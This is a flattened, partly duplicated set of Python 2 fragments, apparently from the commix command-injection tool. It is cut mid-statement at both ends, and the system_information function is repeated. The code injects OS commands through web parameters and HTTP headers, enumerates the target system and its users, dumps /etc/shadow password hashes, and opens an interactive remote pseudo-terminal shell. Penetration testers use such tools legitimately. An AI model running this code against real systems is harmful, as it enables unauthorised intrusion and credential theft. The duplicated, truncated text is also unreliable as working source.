output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print settings.print_warning_msg(warn_msg)
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if settings.TARGET_OS == "win": if alter_shell: cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. target_os = cb_injector.injection_results(response, TAG, cmd) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(","").replace(")","") if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = cb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. target_arch = cb_injector.injection_results(response, TAG, cmd) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if settings.TARGET_OS == "win": if alter_shell: cmd = "cmd /c " + cmd if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. target_os = cb_injector.injection_results(response, TAG, cmd) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = cb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. target_arch = cb_injector.injection_results(response, TAG, cmd) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if target_arch: success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_passes = eb_injector.injection_results(response, TAG, cmd) sys_passes = "".join(str(p) for p in sys_passes) session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if sys_passes == "": sys_passes = " " if sys_passes: info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[ 1] and fields[1] != "": print((" (" + str(count) + ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL)) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." sys.stdout.write( settings.print_warning_msg(warn_msg) + "\n") print((fields[0])) output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print(("\n" + settings.print_warning_msg(warn_msg)))
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'") else: settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" else: settings.SYS_USERS = settings.EVAL_SYS_USERS cmd = settings.SYS_USERS if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_users = eb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Windows users enumeration. if settings.TARGET_OS == "win": info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[ user] + ")[22..($(net user " + sys_users_list[ user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'", "\\'") else: cmd = "\"" + cmd + "\"" response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) check_privs = eb_injector.injection_results( response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" print( (" (" + str(count) + ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + sys_users_list[user] + is_privileged + ".\n") output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print(("\n" + settings.print_warning_msg(warn_msg) )) # Unix-like users enumeration. except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass else: info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1: sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." print(("\n" + settings.print_warning_msg(warn_msg))) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user:user + 3]) if len(sys_users_list) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ( 'ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write( "\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL) ).sub("", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int( fields[1]) < 99: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int( fields[1]) < 65534: if int(fields[1]) == 99 or int( fields[1]) == 60001 or int( fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" else: is_privileged = "" is_privileged_nh = "" print((" (" + str(count) + ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2] + Style.RESET_ALL + "'.")) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n") output_file.close() except ValueError: if count == 1: warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." print( (settings.print_warning_msg(warn_msg))) sys_users = " ".join( str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print(("\n" + settings.print_warning_msg(warn_msg))) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'") else: settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" cmd = settings.CURRENT_USER if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = eb_injector.injection_results(response, TAG, cmd) cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN if not alter_shell: cmd = "\"" + cmd + "\"" else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print((settings.print_warning_msg(warn_msg)))
def cb_injection_handler(url, timesec, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = urllib.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += ('', ' (JSON)')[ settings.IS_JSON] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", re.sub("%2B", "+", payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print "" continue if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) if 